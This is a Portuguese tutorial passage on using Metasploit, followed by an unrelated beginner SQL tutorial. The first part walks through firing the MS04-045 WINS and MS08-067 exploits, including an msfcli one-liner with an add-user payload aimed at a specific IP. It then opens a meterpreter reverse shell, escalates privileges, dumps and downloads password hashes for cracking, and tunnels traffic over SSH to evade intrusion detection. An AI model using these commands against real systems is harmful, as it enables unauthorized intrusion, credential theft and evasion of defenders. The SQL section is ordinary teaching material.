Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets

msf wins_ms04_045 > show targets

Supported Exploit Targets
=========================

0 Windows 2000 English

msf wins_ms04_045 >
 

Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0
TARGET -> 0
msf wins_ms04_045 >

tamos mesmo, mesmo, mesmo a um tirinho de caçadeira… valeu a pena chegar aqui… pois agora apenas falta uma coisa para completar nossa tarefa… Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

msf wins_ms04_045 > exploit

E pronto…Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:

[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E

e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais pode-se usar um exploit local para escalar previlégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

meterpreter> use priv
meterpreter> getsystem

Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas… garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.

.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c

Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino

Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do “hashdump” num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes.

(investiguem também a familia Pwdump… muito interessante para certas situações.)

Citar

pwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface… mas no mundo dos exploits? Sim… vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá.
Para acederem ao GUI do metasploit façam:

[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)

Deixar correr… Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1… Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais…

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão.
É uma das mais usadas técnicas de evasão,

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit)
http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/

Podem ver muitos videos que até já apresentei alguns, com tudo isto em “real” e muito mais… investiguem por ai, pois há magia no ar.

Retirado de SecurityHacker.
Original de Portugal a Programar.

Aprenda SQL em 4 minutos

Este tutorial assume que você tenha um banco de dados instalado e rodando, e você sabe como escrever consultas com ele.
Esse tutorial também assume que você já tenha uma base sobre conceitos de programação.

Pronto?
Vamos!

SQL é apenas uma linguagem usada para interagir com um banco de dados.
Sozinha, não tem muita utilidade, mas normalmente é usada em conjunto com outra linguagem, como PHP. Você pode, no entrando, escrever consultas para um banco por diversão. Esse recurso é bastante útil para testar e/ou aprender.

Bancos de Dados SQL armazenam informações em tabelas. Quando você adiciona informações à um banco de dados, você está incluindo “linhas” em uma tabela qualquer. As tabelas e suas colunas são definidas por você, o programador.

Por exemplo, se você for criar um site onde os usuários podem criar uma conta, você deve ter uma tabela chamada usuários. As colunas na tabela de usuários deve ter campos como:

·                  Usuário

·                  E-mail

·                  Endereço

·                  Senha

·                  e a última vez em que foi realizado o login.

Como um programador, é seu dever criar as colunas para esta tabela e criar uma interface pública (em PHP por exemplo) para os usuários adicionarem linhas nessa tabela. Seu código PHP irá executar as consultas SQL por trás da interface desenvolvida em HTML.

Parte 1 – Criando as Tabelas

Uma consulta para criar uma tabela simples…

CREATE TABLE nome_da_tabela (coluna1 tipo, coluna2 tipo, coluna3 tipo, …);

Então, no nosso exemplo…

CREATE TABLE usuarios (usuario VARCHAR(20), email VARCHAR(80), senha VARCHAR(16), ultimo_acesso INT(11));

No caso de pequenas quantidades de textos, como o nome de usuário, você pode usar campos do tipo VARCHAR seguido pelo número máximo de caracteres que o campo pode ter.

Para números, use INT(11),

Para textos longos, use TEXT,

Você pode perceber que eu usei um campo do tipo inteiro para definir o último acesso. Existem campos do tipo data, e hora em SQL mas você pode também, usar TIMESTAMP (isso é o que eu [o autor] faço na maioria das vezes).

Parte 2 – Adicionando dados às tabelas

INSERT INTO nome_da_tabela (coluna1, coluna2, coluna3, coluna4, …) VALUES (valor1, valor2, valor3, valor4, …);

Claro, deve haver o mesmo número de colunas e valores. Por exemplo …

INSERT INTO usuarios (usuario, email, senha, ultimo_acesso) VALUES (“alguem”,”alguem@algumdominio.com”,”123456″, 1197351913);

Parte 3 – Recuperando os dados das tabelas

SELECT coluna1, coluna 2, coluna 3, … FROM nome_da_tabela WHERE condicao1 AND condicao2 OR condicao3;

Este é o instrução SELECT. Depois da palavra SELECT, simplesmente liste as colunas (campos) que você quer recuperar do banco de dados, separados por vírgulas. Depois disso vem a palavra FROM. Aí é onde você especifica de qual tabela você quer recuperar os dados. Depois disso vem a palavra WHERE, onde você pode listar as condições da sua consulta, realizando um filtro nos resultados. Você pode unir condições com as palavras-chave AND e OR e também agrupar as condições com parenteses.

No nosso exemplo, nos vamos ter uma página que irá mostrar todos os usuários que efetuaram o login nos últimos 10 minutos. (Assumindo que o TIMESTAMP atual é 1197352299 que é a data e hora atual convertida em segundos)…

SELECT usuario FROM usuarios WHERE ultimo_acesso>(1197352299 – 60 * 10);

Se este SQL fosse gerado com PHP você poderia gerar o TIMESTAMP no exato momento da execução do script, através da função time().

Parte 4 – Modificando dados das tabelas

UPDATE nome_da_tabela SET coluna=valor WHERE condicao;

O UPDATE simplesmente usa o nome da tabela, a coluna que você quer alterar, o novo valor que você quer que a coluna receba, e uma condição para indentificar a(s) linha(s) que você quer alterar.

Digamos que eu queira alterar a senha…

UPDATE usuarios SET senha=”senha” WHERE usuario=”alguem”;

Parte 5 – Removendo dados de uma tabela

DELETE FROM nome_da_tabela WHERE condicao;

Basta informar a tabela e a condição para determinar quais linhas você quer deletar.

DELETE FROM usuarios WHERE usuario=”alguem”;

E agora você tem conhecimento suficiente de SQL para usar com PHP ou qualquer outra linguagem com acesso a banco de dados.

Mas, finalizando, este é uma maneira simples de mostrar como iniciar a programação com SQL de forma clara e rápida. Se você usar somente a informação disponível nesse tutorial, o SQL que você utilizar será lento e ineficaz. Portanto, é excelente para inciar no uso de SQL em bancos de dados, mas não serve para já desenvolver aplicações com buscas mais avançadas.

Então bons estudos…